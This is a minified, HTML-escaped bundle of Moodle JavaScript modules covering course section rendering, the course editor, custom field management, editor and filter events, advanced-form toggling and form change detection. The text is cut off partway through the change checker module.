define(&quot;core_courseformat/local/content/section&quot;,[&quot;exports&quot;,&quot;core_courseformat/local/content/section/header&quot;,&quot;core_courseformat/local/courseeditor/dndsection&quot;],(function(_exports,_header,_dndsection){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Course section format component.
   *
   * @module     core_courseformat/local/content/section
   * @class      core_courseformat/local/content/section
   * @copyright  2021 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_header=_interopRequireDefault(_header),_dndsection=_interopRequireDefault(_dndsection);class _default extends _dndsection.default{create(){this.name=&quot;content_section&quot;,this.selectors={SECTION_ITEM:&quot;[data-for=&#039;section_title&#039;]&quot;,CM:&#039;[data-for=&quot;cmitem&quot;]&#039;,SECTIONINFO:&#039;[data-for=&quot;sectioninfo&quot;]&#039;},this.classes={LOCKED:&quot;editinprogress&quot;,HASDESCRIPTION:&quot;description&quot;},this.id=this.element.dataset.id}stateReady(state){if(this.configState(state),this.reactive.isEditing&amp;&amp;this.reactive.supportComponents){const sectionItem=this.getElement(this.selectors.SECTION_ITEM);if(sectionItem){const headerComponent=new _header.default({...this,element:sectionItem,fullregion:this.element});this.configDragDrop(headerComponent)}}}getWatchers(){return[{watch:&quot;section[&quot;.concat(this.id,&quot;]:updated&quot;),handler:this._refreshSection}]}validateDropData(dropdata){return(&quot;section&quot;!==(null==dropdata?void 0:dropdata.type)||0==this.reactive.sectionReturn)&amp;&amp;super.validateDropData(dropdata)}getLastCm(){const cms=this.getElements(this.selectors.CM);return cms&amp;&amp;0!==cms.length?cms[cms.length-1]:null}_refreshSection(_ref){var _element$dragging,_element$locked;let{element:element}=_ref;this.element.classList.toggle(this.classes.DRAGGING,null!==(_element$dragging=element.dragging)&amp;&amp;void 0!==_element$dragging&amp;&amp;_element$dragging),this.element.classList.toggle(this.classes.LOCKED,null!==(_element$locked=element.locked)&amp;&amp;void 0!==_element$locked&amp;&amp;_element$locked),this.locked=element.locked;const sectioninfo=this.getElement(this.selectors.SECTIONINFO);sectioninfo&amp;&amp;sectioninfo.classList.toggle(this.classes.HASDESCRIPTION,element.hasrestrictions)}}return _exports.default=_default,_exports.default}));
define(&quot;core_courseformat/courseeditor&quot;,[&quot;exports&quot;,&quot;core_courseformat/local/courseeditor/mutations&quot;,&quot;core_courseformat/local/courseeditor/courseeditor&quot;,&quot;core_course/events&quot;],(function(_exports,_mutations,_courseeditor,_events){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Generic reactive module used in the course editor.
   *
   * @module     core_courseformat/courseeditor
   * @copyright  2021 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.setViewFormat=_exports.getCurrentCourseEditor=_exports.getCourseEditor=void 0,_mutations=_interopRequireDefault(_mutations),_courseeditor=_interopRequireDefault(_courseeditor),_events=_interopRequireDefault(_events);const courseEditorMap=new Map,courseStateKeyMap=new Map;function dispatchStateChangedEvent(detail,target){void 0===target&amp;&amp;(target=document),target.dispatchEvent(new CustomEvent(_events.default.stateChanged,{bubbles:!0,detail:detail}))}_exports.setViewFormat=(courseId,setup)=&gt;{courseId=parseInt(courseId),setup.editing||courseStateKeyMap.set(courseId,setup.statekey);getCourseEditor(courseId).setViewFormat(setup)};const getCourseEditor=courseId=&gt;(courseId=parseInt(courseId),courseEditorMap.has(courseId)||(courseEditorMap.set(courseId,new _courseeditor.default({name:&quot;CourseEditor&quot;.concat(courseId),eventName:_events.default.stateChanged,eventDispatch:dispatchStateChangedEvent,mutations:new _mutations.default})),courseEditorMap.get(courseId).loadCourse(courseId,courseStateKeyMap.get(courseId))),courseEditorMap.get(courseId));_exports.getCourseEditor=getCourseEditor;_exports.getCurrentCourseEditor=()=&gt;getCourseEditor(M.cfg.courseId)}));
define(&quot;core_customfield/form&quot;,[&quot;exports&quot;,&quot;core/inplace_editable&quot;,&quot;core/ajax&quot;,&quot;core/str&quot;,&quot;core_form/modalform&quot;,&quot;core/notification&quot;,&quot;core/pending&quot;,&quot;core/sortable_list&quot;,&quot;core/templates&quot;,&quot;jquery&quot;],(function(_exports,_inplace_editable,_ajax,_str,_modalform,_notification,_pending,_sortable_list,_templates,_jquery){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Custom Field interaction management for Moodle.
   *
   * @module     core_customfield/form
   * @copyright  2018 Toni Barbera
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_modalform=_interopRequireDefault(_modalform),_notification=_interopRequireDefault(_notification),_pending=_interopRequireDefault(_pending),_sortable_list=_interopRequireDefault(_sortable_list),_templates=_interopRequireDefault(_templates),_jquery=_interopRequireDefault(_jquery);const confirmDelete=(id,type,component,area,itemid)=&gt;{const pendingPromise=new _pending.default(&quot;core_customfield/form:confirmDelete&quot;);(0,_str.get_strings)([{key:&quot;confirm&quot;},{key:&quot;confirmdelete&quot;+type,component:&quot;core_customfield&quot;},{key:&quot;yes&quot;},{key:&quot;no&quot;}]).then((strings=&gt;_notification.default.confirm(strings[0],strings[1],strings[2],strings[3],(function(){const pendingDeletePromise=new _pending.default(&quot;core_customfield/form:confirmDelete&quot;);(0,_ajax.call)([{methodname:&quot;field&quot;===type?&quot;core_customfield_delete_field&quot;:&quot;core_customfield_delete_category&quot;,args:{id:id}},{methodname:&quot;core_customfield_reload_template&quot;,args:{component:component,area:area,itemid:itemid}}])[1].then((response=&gt;_templates.default.render(&quot;core_customfield/list&quot;,response))).then(((html,js)=&gt;_templates.default.replaceNode((0,_jquery.default)(&#039;[data-region=&quot;list-page&quot;]&#039;),html,js))).then(pendingDeletePromise.resolve).catch(_notification.default.exception)})))).then(pendingPromise.resolve).catch(_notification.default.exception)},getCategoryNameFor=nodeElement=&gt;nodeElement.closest(&quot;[data-category-id]&quot;).find(&quot;[data-inplaceeditable][data-itemtype=category][data-component=core_customfield]&quot;).attr(&quot;data-value&quot;);_exports.init=()=&gt;{const rootNode=document.querySelector(&quot;#customfield_catlist&quot;),component=rootNode.dataset.component,area=rootNode.dataset.area,itemid=rootNode.dataset.itemid;rootNode.addEventListener(&quot;click&quot;,(e=&gt;{const roleHolder=e.target.closest(&quot;[data-role]&quot;);if(roleHolder)return&quot;deletefield&quot;===roleHolder.dataset.role?(e.preventDefault(),void confirmDelete(roleHolder.dataset.id,&quot;field&quot;,component,area,itemid)):&quot;deletecategory&quot;===roleHolder.dataset.role?(e.preventDefault(),void confirmDelete(roleHolder.dataset.id,&quot;category&quot;,component,area,itemid)):&quot;addnewcategory&quot;===roleHolder.dataset.role?(e.preventDefault(),void((component,area,itemid)=&gt;{const pendingPromise=new _pending.default(&quot;core_customfield/form:createNewCategory&quot;);(0,_ajax.call)([{methodname:&quot;core_customfield_create_category&quot;,args:{component:component,area:area,itemid:itemid}},{methodname:&quot;core_customfield_reload_template&quot;,args:{component:component,area:area,itemid:itemid}}])[1].then((response=&gt;_templates.default.render(&quot;core_customfield/list&quot;,response))).then(((html,js)=&gt;_templates.default.replaceNode((0,_jquery.default)(&#039;[data-region=&quot;list-page&quot;]&#039;),html,js))).then((()=&gt;pendingPromise.resolve())).catch(_notification.default.exception)})(component,area,itemid)):&quot;addfield&quot;===roleHolder.dataset.role?(e.preventDefault(),void((element,component,area,itemid)=&gt;{const pendingPromise=new _pending.default(&quot;core_customfield/form:createNewField&quot;),returnFocus=element.closest(&quot;.action-menu&quot;).querySelector(&quot;.dropdown-toggle&quot;),form=new _modalform.default({formClass:&quot;core_customfield\\field_config_form&quot;,args:{categoryid:element.getAttribute(&quot;data-categoryid&quot;),type:element.getAttribute(&quot;data-type&quot;)},modalConfig:{title:(0,_str.get_string)(&quot;addingnewcustomfield&quot;,&quot;core_customfield&quot;,element.getAttribute(&quot;data-typename&quot;))},returnFocus:returnFocus});form.addEventListener(form.events.FORM_SUBMITTED,(()=&gt;{const pendingCreatedPromise=new _pending.default(&quot;core_customfield/form:createdNewField&quot;);(0,_ajax.call)([{methodname:&quot;core_customfield_reload_template&quot;,args:{component:component,area:area,itemid:itemid}}])[0].then((response=&gt;_templates.default.render(&quot;core_customfield/list&quot;,response))).then(((html,js)=&gt;_templates.default.replaceNode((0,_jquery.default)(&#039;[data-region=&quot;list-page&quot;]&#039;),html,js))).then((()=&gt;pendingCreatedPromise.resolve())).catch((()=&gt;window.location.reload()))})),form.show(),pendingPromise.resolve()})(roleHolder,component,area,itemid)):&quot;editfield&quot;===roleHolder.dataset.role?(e.preventDefault(),void((element,component,area,itemid)=&gt;{const pendingPromise=new _pending.default(&quot;core_customfield/form:editField&quot;),form=new _modalform.default({formClass:&quot;core_customfield\\field_config_form&quot;,args:{id:element.getAttribute(&quot;data-id&quot;)},modalConfig:{title:(0,_str.get_string)(&quot;editingfield&quot;,&quot;core_customfield&quot;,element.getAttribute(&quot;data-name&quot;))},returnFocus:element});form.addEventListener(form.events.FORM_SUBMITTED,(()=&gt;{const pendingCreatedPromise=new _pending.default(&quot;core_customfield/form:createdNewField&quot;);(0,_ajax.call)([{methodname:&quot;core_customfield_reload_template&quot;,args:{component:component,area:area,itemid:itemid}}])[0].then((response=&gt;_templates.default.render(&quot;core_customfield/list&quot;,response))).then(((html,js)=&gt;_templates.default.replaceNode((0,_jquery.default)(&#039;[data-region=&quot;list-page&quot;]&#039;),html,js))).then((()=&gt;pendingCreatedPromise.resolve())).catch((()=&gt;window.location.reload()))})),form.show(),pendingPromise.resolve()})(roleHolder,component,area,itemid)):void 0})),(rootNode=&gt;{new _sortable_list.default(&quot;#customfield_catlist .categorieslist&quot;,{moveHandlerSelector:&quot;.movecategory [data-drag-type=move]&quot;}).getElementName=nodeElement=&gt;Promise.resolve(getCategoryNameFor(nodeElement)),(0,_jquery.default)(&quot;[data-category-id]&quot;).on(_sortable_list.default.EVENTS.DROP,((evt,info)=&gt;{if(info.positionChanged){const pendingPromise=new _pending.default(&quot;core_customfield/form:categoryid:on:sortablelist-drop&quot;);(0,_ajax.call)([{methodname:&quot;core_customfield_move_category&quot;,args:{id:info.element.data(&quot;category-id&quot;),beforeid:info.targetNextElement.data(&quot;category-id&quot;)}}])[0].then(pendingPromise.resolve).catch(_notification.default.exception)}evt.stopPropagation()})),new _sortable_list.default(&quot;#customfield_catlist .fieldslist tbody&quot;,{moveHandlerSelector:&quot;.movefield [data-drag-type=move]&quot;}).getDestinationName=(parentElement,afterElement)=&gt;afterElement.length?afterElement.attr(&quot;data-field-name&quot;)?(0,_str.get_string)(&quot;afterfield&quot;,&quot;customfield&quot;,afterElement.attr(&quot;data-field-name&quot;)):Promise.resolve(&quot;&quot;):(0,_str.get_string)(&quot;totopofcategory&quot;,&quot;customfield&quot;,getCategoryNameFor(parentElement)),(0,_jquery.default)(&quot;[data-field-name]&quot;).on(_sortable_list.default.EVENTS.DROP,((evt,info)=&gt;{if(info.positionChanged){const pendingPromise=new _pending.default(&quot;core_customfield/form:fieldname:on:sortablelist-drop&quot;);(0,_ajax.call)([{methodname:&quot;core_customfield_move_field&quot;,args:{id:info.element.data(&quot;field-id&quot;),beforeid:info.targetNextElement.data(&quot;field-id&quot;),categoryid:Number(info.targetList.closest(&quot;[data-category-id]&quot;).attr(&quot;data-category-id&quot;))}}])[0].then(pendingPromise.resolve).catch(_notification.default.exception)}evt.stopPropagation()})),(0,_jquery.default)(&quot;[data-field-name]&quot;).on(_sortable_list.default.EVENTS.DRAG,(evt=&gt;{var pendingPromise=new _pending.default(&quot;core_customfield/form:fieldname:on:sortablelist-drag&quot;);evt.stopPropagation(),_templates.default.render(&quot;core_customfield/nofields&quot;,{}).then((html=&gt;{rootNode.querySelectorAll(&quot;.categorieslist &gt; *&quot;).forEach((category=&gt;{const fields=category.querySelectorAll(&quot;.field:not(.sortable-list-is-dragged)&quot;),noFields=category.querySelector(&quot;.nofields&quot;);fields.length||noFields?fields.length&amp;&amp;noFields&amp;&amp;noFields.remove():category.querySelector(&quot;tbody&quot;).innerHTML=html}))})).then(pendingPromise.resolve).catch(_notification.default.exception)})),(0,_jquery.default)(&quot;[data-category-id], [data-field-name]&quot;).on(_sortable_list.default.EVENTS.DRAGSTART,((evt,info)=&gt;{setTimeout((()=&gt;{(0,_jquery.default)(&quot;.sortable-list-is-dragged&quot;).width(info.element.width())}),501)}))})(rootNode)}}));
define(&quot;core_editor/events&quot;,[&quot;exports&quot;,&quot;core/event_dispatcher&quot;,&quot;jquery&quot;,&quot;core/yui&quot;],(function(_exports,_event_dispatcher,_jquery,_yui){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Javascript events for the `core_editor` subsystem.
   *
   * @module     core_editor/events
   * @copyright  2021 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   * @since      4.0
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.notifyEditorContentRestored=_exports.eventTypes=void 0,_jquery=_interopRequireDefault(_jquery),_yui=_interopRequireDefault(_yui);const eventTypes={editorContentRestored:&quot;core_editor/contentRestored&quot;};_exports.eventTypes=eventTypes;_exports.notifyEditorContentRestored=editor=&gt;(editor||window.console.warn(&quot;The HTMLElement representing the editor that was modified should be provided to notifyEditorContentRestored.&quot;),(0,_event_dispatcher.dispatchEvent)(eventTypes.editorContentRestored,{},editor||document));let legacyEventsRegistered=!1;legacyEventsRegistered||(_yui.default.use(&quot;event&quot;,&quot;moodle-core-event&quot;,(()=&gt;{document.addEventListener(eventTypes.editorContentRestored,(()=&gt;{(0,_jquery.default)(document).trigger(M.core.event.EDITOR_CONTENT_RESTORED),_yui.default.fire(M.core.event.EDITOR_CONTENT_RESTORED)}))})),legacyEventsRegistered=!0)}));
define(&quot;core_filters/events&quot;,[&quot;exports&quot;,&quot;core/event_dispatcher&quot;,&quot;core/normalise&quot;,&quot;jquery&quot;],(function(_exports,_event_dispatcher,_normalise,_jquery){var obj;
/**
   * Javascript events for the `core_filters` subsystem.
   *
   * @module     core_filters/events
   * @copyright  2021 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   * @since      4.0
   *
   * @example &lt;caption&gt;Example of listening to a filter event.&lt;/caption&gt;
   * import {eventTypes as filterEventTypes} from &#039;core_filters/events&#039;;
   *
   * document.addEventListener(filterEventTypes.filterContentUpdated, e =&gt; {
   *     window.console.log(e.detail.nodes); // A list of the HTMLElements whose content was updated
   * });
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.notifyFilterContentUpdated=_exports.eventTypes=void 0,_jquery=(obj=_jquery)&amp;&amp;obj.__esModule?obj:{default:obj};const eventTypes={filterContentUpdated:&quot;core_filters/contentUpdated&quot;};_exports.eventTypes=eventTypes;_exports.notifyFilterContentUpdated=nodes=&gt;(nodes=(0,_normalise.getList)(nodes),(0,_event_dispatcher.dispatchEvent)(eventTypes.filterContentUpdated,{nodes:nodes}));let legacyEventsRegistered=!1;legacyEventsRegistered||(Y.use(&quot;event&quot;,&quot;moodle-core-event&quot;,(()=&gt;{document.addEventListener(eventTypes.filterContentUpdated,(e=&gt;{(0,_jquery.default)(document).trigger(M.core.event.FILTER_CONTENT_UPDATED,[(0,_jquery.default)(e.detail.nodes)]),Y.fire(M.core.event.FILTER_CONTENT_UPDATED,{nodes:new Y.NodeList(e.detail.nodes)})}))})),legacyEventsRegistered=!0)}));
/**
 * A class to help show and hide advanced form content.
 *
 * @module     core_form/showadvanced
 * @copyright  2016 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_form/showadvanced&quot;,[&quot;jquery&quot;,&quot;core/log&quot;,&quot;core/str&quot;,&quot;core/notification&quot;],(function($,Log,Strings,Notification){var SELECTORS_FIELDSETCONTAINSADVANCED=&quot;fieldset.containsadvancedelements&quot;,SELECTORS_DIVFITEMADVANCED=&quot;div.fitem.advanced&quot;,SELECTORS_DIVADVANCEDSECTION=&quot;div#form-advanced-div&quot;,SELECTORS_MORELESSLINK=&quot;fieldset.containsadvancedelements .moreless-toggler&quot;,CSS_SHOW=&quot;show&quot;,CSS_MORELESSACTIONS=&quot;moreless-actions&quot;,CSS_MORELESSTOGGLER=&quot;moreless-toggler&quot;,CSS_SHOWLESS=&quot;moreless-less&quot;,WRAPPERS_FITEM=&#039;&lt;div class=&quot;fitem&quot;&gt;&lt;/div&gt;&#039;,WRAPPERS_FELEMENT=&#039;&lt;div class=&quot;felement&quot;&gt;&lt;/div&gt;&#039;,WRAPPERS_ADVANCEDDIV=&#039;&lt;div id=&quot;form-advanced-div&quot;&gt;&lt;/div&gt;&#039;,uniqIdSeed=0,ShowAdvanced=function(id){this.id=id;var form=$(document.getElementById(id));this.enhanceForm(form)};return ShowAdvanced.prototype.id=&quot;&quot;,ShowAdvanced.prototype.enhanceForm=function(form){return form.find(SELECTORS_FIELDSETCONTAINSADVANCED).each(function(index,item){this.enhanceFieldset($(item))}.bind(this)),form.on(&quot;click&quot;,SELECTORS_MORELESSLINK,this.switchState),form.on(&quot;keydown&quot;,SELECTORS_MORELESSLINK,function(e){return 13!=e.which&amp;&amp;32!=e.which||this.switchState(e)}.bind(this)),this},ShowAdvanced.prototype.generateId=function(node){var id=node.prop(&quot;id&quot;);return void 0===id&amp;&amp;(id=&quot;showadvancedid-&quot;+uniqIdSeed++,node.prop(&quot;id&quot;,id)),id},ShowAdvanced.prototype.enhanceFieldset=function(fieldset){var statuselement=$(&quot;input[name=mform_showmore_&quot;+fieldset.prop(&quot;id&quot;)+&quot;]&quot;);return statuselement.length?(Strings.get_strings([{key:&quot;showmore&quot;,component:&quot;core_form&quot;},{key:&quot;showless&quot;,component:&quot;core_form&quot;}]).then(function(results){var showmore=results[0],showless=results[1],morelesslink=$(&#039;&lt;a href=&quot;#&quot;&gt;&lt;/a&gt;&#039;);morelesslink.addClass(CSS_MORELESSTOGGLER),&quot;0&quot;===statuselement.val()?(morelesslink.html(showmore),morelesslink.attr(&quot;aria-expanded&quot;,&quot;false&quot;)):(morelesslink.html(showless),morelesslink.attr(&quot;aria-expanded&quot;,&quot;true&quot;),morelesslink.addClass(CSS_SHOWLESS),fieldset.find(SELECTORS_DIVFITEMADVANCED).addClass(CSS_SHOW));var idlist=[];fieldset.find(SELECTORS_DIVFITEMADVANCED).each(function(index,node){idlist[idlist.length]=this.generateId($(node))}.bind(this)),morelesslink.attr(&quot;role&quot;,&quot;button&quot;),morelesslink.attr(&quot;aria-controls&quot;,&quot;form-advanced-div&quot;);var formadvancedsection=$(WRAPPERS_ADVANCEDDIV);fieldset.find(SELECTORS_DIVFITEMADVANCED).wrapAll(formadvancedsection);var fitem=$(WRAPPERS_FITEM);fitem.addClass(CSS_MORELESSACTIONS);var felement=$(WRAPPERS_FELEMENT);return felement.append(morelesslink),fitem.append(felement),fieldset.find(SELECTORS_DIVADVANCEDSECTION).before(fitem),!0}.bind(this)).fail(Notification.exception),this):(Log.debug(&quot;M.form.showadvanced::processFieldset was called on an fieldset without a status field: &#039;&quot;+fieldset.prop(&quot;id&quot;)+&quot;&#039;&quot;),this)},ShowAdvanced.prototype.switchState=function(e){return e.preventDefault(),Strings.get_strings([{key:&quot;showmore&quot;,component:&quot;core_form&quot;},{key:&quot;showless&quot;,component:&quot;core_form&quot;}]).then((function(results){var showmore=results[0],showless=results[1],fieldset=$(e.target).closest(SELECTORS_FIELDSETCONTAINSADVANCED);fieldset.find(SELECTORS_DIVFITEMADVANCED).toggleClass(CSS_SHOW);var statuselement=$(&quot;input[name=mform_showmore_&quot;+fieldset.prop(&quot;id&quot;)+&quot;]&quot;);return&quot;0&quot;===statuselement.val()?(statuselement.val(1),$(e.target).addClass(CSS_SHOWLESS),$(e.target).html(showless),$(e.target).attr(&quot;aria-expanded&quot;,&quot;true&quot;)):(statuselement.val(0),$(e.target).removeClass(CSS_SHOWLESS),$(e.target).html(showmore),$(e.target).attr(&quot;aria-expanded&quot;,&quot;false&quot;)),!0})).fail(Notification.exception),this},{init:function(formid){return new ShowAdvanced(formid)}}}));
/**
 * Functionality for the form element defaultcustom
 *
 * @module     core_form/defaultcustom
 * @copyright  2017 Marina Glancy
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.3
 */
define(&quot;core_form/defaultcustom&quot;,[&quot;jquery&quot;],(function($){$(&quot;body&quot;).on(&quot;change&quot;,&quot;input[data-defaultcustom=true]&quot;,(function(event){var element=$(event.target),defaultvalue=JSON.parse(element.attr(&quot;data-defaultvalue&quot;)),customvalue=JSON.parse(element.attr(&quot;data-customvalue&quot;)),type=element.attr(&quot;data-type&quot;),form=element.closest(&quot;form&quot;),elementName=element.attr(&quot;name&quot;).replace(/\[customize\]$/,&quot;[value]&quot;),newvalue=element.prop(&quot;checked&quot;)?customvalue:defaultvalue;&quot;text&quot;===type?form.find(&#039;[name=&quot;&#039;+elementName+&#039;&quot;]&#039;).val(newvalue):&quot;date_selector&quot;===type?(form.find(&#039;[name=&quot;&#039;+elementName+&#039;[day]&quot;]&#039;).val(newvalue.day),form.find(&#039;[name=&quot;&#039;+elementName+&#039;[month]&quot;]&#039;).val(newvalue.month),form.find(&#039;[name=&quot;&#039;+elementName+&#039;[year]&quot;]&#039;).val(newvalue.year)):&quot;date_time_selector&quot;===type&amp;&amp;(form.find(&#039;[name=&quot;&#039;+elementName+&#039;[day]&quot;]&#039;).val(newvalue.day),form.find(&#039;[name=&quot;&#039;+elementName+&#039;[month]&quot;]&#039;).val(newvalue.month),form.find(&#039;[name=&quot;&#039;+elementName+&#039;[year]&quot;]&#039;).val(newvalue.year),form.find(&#039;[name=&quot;&#039;+elementName+&#039;[hour]&quot;]&#039;).val(newvalue.hour),form.find(&#039;[name=&quot;&#039;+elementName+&#039;[minute]&quot;]&#039;).val(newvalue.minute))}))}));
define(&quot;core_form/changechecker&quot;,[&quot;exports&quot;,&quot;core_editor/events&quot;,&quot;core/str&quot;],(function(_exports,_events,_str){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.watchFormById=_exports.watchForm=_exports.unWatchForm=_exports.startWatching=_exports.resetFormDirtyStateById=_exports.resetFormDirtyState=_exports.resetAllFormDirtyStates=_exports.markFormSubmitted=_exports.markFormChangedFromNode=_exports.markFormAsDirtyById=_exports.markFormAsDirty=_exports.markAllFormsSubmitted=_exports.markAllFormsAsDirty=_exports.isAnyWatchedFormDirty=_exports.disableAllChecks=void 0;
/**
   * This module provides change detection to forms, allowing a browser to warn the user before navigating away if changes
   * have been made.
   *
   * Two flags are stored for each form:
   * * a &#039;dirty&#039; flag; and
   * * a &#039;submitted&#039; flag.
   *
   * When the page is unloaded each watched form is checked. If the &#039;dirty&#039; flag is set for any form, and the &#039;submitted&#039;
   * flag is not set for any form, then a warning is shown.
   *
   * The &#039;dirty&#039; flag is set when any form element is modified within a watched form.
   * The flag can also be set programatically. This may be required for custom form elements.
   *
   * It is not possible to customise the warning message in any modern browser.
   *
   * Please note that some browsers have controls on when these alerts may or may not be shown.
   * See {@link https://developer.mozilla.org/en-US/docs/Web/API/WindowEventHandlers/onbeforeunload} for browser-specific
   * notes and references.
   *
   * @module     core_form/changechecker
   * @copyright  2021 Andrew Lyons &lt;andrew@nicols.co.uk&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   * @example &lt;caption&gt;Usage where the FormElement is already held&lt;/caption&gt;
   *
   * import {watchForm} from &#039;core_form/changechecker&#039;;
   *
   * // Fetch the form element somehow.
   * watchForm(formElement);
   *
   * @example &lt;caption&gt;Usage from the child of a form - i.e. an input, button, div, etc.&lt;/caption&gt;
   *
   * import {watchForm} from &#039;core_form/changechecker&#039;;
   *
   * // Watch the form by using a child of it.
   * watchForm(document.querySelector(&#039;input[data-foo=&quot;bar&quot;]&#039;););
   *
   * @example &lt;caption&gt;Usage from within a template&lt;/caption&gt;
   * &lt;form id=&quot;mod_example-entry-{{uniqid}}&quot; ...&gt;
   *   &lt;!--
   *
   *   --&gt;
   * &lt;/form&gt;
   * {{#js}}
   * require([&#039;core_form/changechecker&#039;], function(changeChecker) {
   *     watchFormById(&#039;mod_example-entry-{{uniqid}}&#039;);
   * });
   * {{/js}}
   */
let warningString,watchedForms=[],formChangeCheckerDisabled=!1;const getFormFromChild=formChild=&gt;formChild.closest(&quot;form&quot;),watchForm=formNode=&gt;{(formNode=getFormFromChild(formNode))&amp;&amp;(isWatchingForm(formNode)||watchedForms.push(formNode))};_exports.watchForm=watchForm;_exports.unWatchForm=formNode=&gt;{watchedForms=watchedForms.filter((watchedForm=&gt;!!watchedForm.contains(formNode)))};const resetAllFormDirtyStates=()=&gt;{watchedForms.forEach((watchedForm=&gt;{watchedForm.dataset.formSubmitted=&quot;false&quot;,watchedForm.dataset.formDirty=&quot;false&quot;}))};_exports.resetAllFormDirtyStates=resetAllFormDirtyStates;const resetFormDirtyState=formNode=&gt;{(formNode=getFormFromChild(formNode))&amp;&amp;(formNode.dataset.formSubmitted=&quot;false&quot;,formNode.dataset.formDirty=&quot;false&quot;)};_exports.resetFormDirtyState=resetFormDirtyState;const markAllFormsAsDirty=()=&gt;{watchedForms.forEach((watchedForm=&gt;{watchedForm.dataset.formDirty=&quot;true&quot;}))};_exports.markAllFormsAsDirty=markAllFormsAsDirty;const markFormAsDirty=formNode=&gt;{(formNode=getFormFromChild(formNode))&amp;&amp;(formNode.dataset.formDirty=&quot;true&quot;)};_exports.markFormAsDirty=markFormAsDirty;const disableAllChecks=()=&gt;{formChangeCheckerDisabled=!0};_exports.disableAllChecks=disableAllChecks;const isAnyWatchedFormDirty=()=&gt;{if(formChangeCheckerDisabled)return!1;if(watchedForms.some((watchedForm=&gt;&quot;true&quot;===watchedForm.dataset.formSubmitted)))return!1;return!!watchedForms.some((watchedForm=&gt;{if(!watchedForm.isConnected)return!1;if(&quot;true&quot;===watchedForm.dataset.formDirty)return!0;if(document.activeElement&amp;&amp;document.activeElement.dataset.propertyIsEnumerable(&quot;initialValue&quot;)){const isActiveElementWatched=isWatchingForm(document.activeElement),hasValueChanged=document.activeElement.dataset.initialValue!==document.activeElement.value;if(isActiveElementWatched&amp;&amp;hasValueChanged)return!0}return!1}))||!(void 0===window.tinyMCE||!window.tinyMCE.editors||!window.tinyMCE.editors.some((editor=&gt;editor.isDirty())))};_exports.isAnyWatchedFormDirty=isAnyWatchedFormDirty;const isWatchingForm=target=&gt;watchedForms.some((watchedForm=&gt;watchedForm.contains(target))),markFormChangedFromNode=changedNode=&gt;{if(changedNode.dataset.formChangeCheckerOverride)return void disableAllChecks();if(!isWatchingForm(changedNode))return;if(changedNode.closest(&quot;.ignoredirty&quot;))return;const formNode=(target=&gt;watchedForms.find((watchedForm=&gt;watchedForm.contains(target))))(changedNode);formNode.dataset.formDirty=&quot;true&quot;};_exports.markFormChangedFromNode=markFormChangedFromNode;const markFormSubmitted=formNode=&gt;{(formNode=getFormFromChild(formNode))&amp;&amp;(formNode.dataset.formSubmitted=&quot;true&quot;)};_exports.markFormSubmitted=markFormSubmitted;const markAllFormsSubmitted=()=&gt;{watchedForms.forEach((watchedForm=&gt;markFormSubmitted(watchedForm)))};_exports.markAllFormsSubmitted=markAllFormsSubmitted;const beforeUnloadHandler=e=&gt;isAnyWatchedFormDirty()&amp;&amp;!M.cfg.behatsiterunning?(e.preventDefault(),e.returnValue=warningString,e.returnValue):(window.removeEventListener(&quot;beforeunload&quot;,beforeUnloadHandler),null),startWatching=()=&gt;{addLegacyFunctions(),document.addEventListener(&quot;change&quot;,(e=&gt;{isWatchingForm(e.target)&amp;&amp;markFormChangedFromNode(e.target)})),document.addEventListener(&quot;click&quot;,(e=&gt;{if(!e.target.closest(&quot;[data-formchangechecker-ignore-submit]&quot;))return;const ownerForm=getFormFromChild(e.target);ownerForm&amp;&amp;(ownerForm.dataset.ignoreSubmission=&quot;true&quot;)})),document.addEventListener(&quot;focusin&quot;,(e=&gt;{if(e.target.matches(&quot;input, textarea, select&quot;)){if(e.target.dataset.propertyIsEnumerable(&quot;initialValue&quot;))return;e.target.dataset.initialValue=e.target.value}})),document.addEventListener(&quot;submit&quot;,(e=&gt;{const formNode=getFormFromChild(e.target);formNode&amp;&amp;(formNode.dataset.ignoreSubmission?formNode.dataset.ignoreSubmission=&quot;false&quot;:markFormSubmitted(formNode))})),document.addEventListener(_events.eventTypes.editorContentRestored,(e=&gt;{e.target!=document?resetFormDirtyState(e.target):resetAllFormDirtyStates()})),(0,_str.get_string)(&quot;changesmadereallygoaway&quot;,&quot;moodle&quot;).then((changesMadeString=&gt;{warningString=changesMadeString})).catch(),window.addEventListener(&quot;beforeunload&quot;,beforeUnloadHandler)};_exports.startWatching=startWatching;const addLegacyFunctions=()=&gt;{const getLoggedLegacyFallback=(oldFunctionName,newFunctionName,newFunction)=&gt;function(){window.console.warn(&quot;The moodle-core-formchangechecker has been deprecated and replaced with core_form/changechecker. &quot;+&quot;The &quot;.concat(oldFunctionName,&quot; function has been replaced with 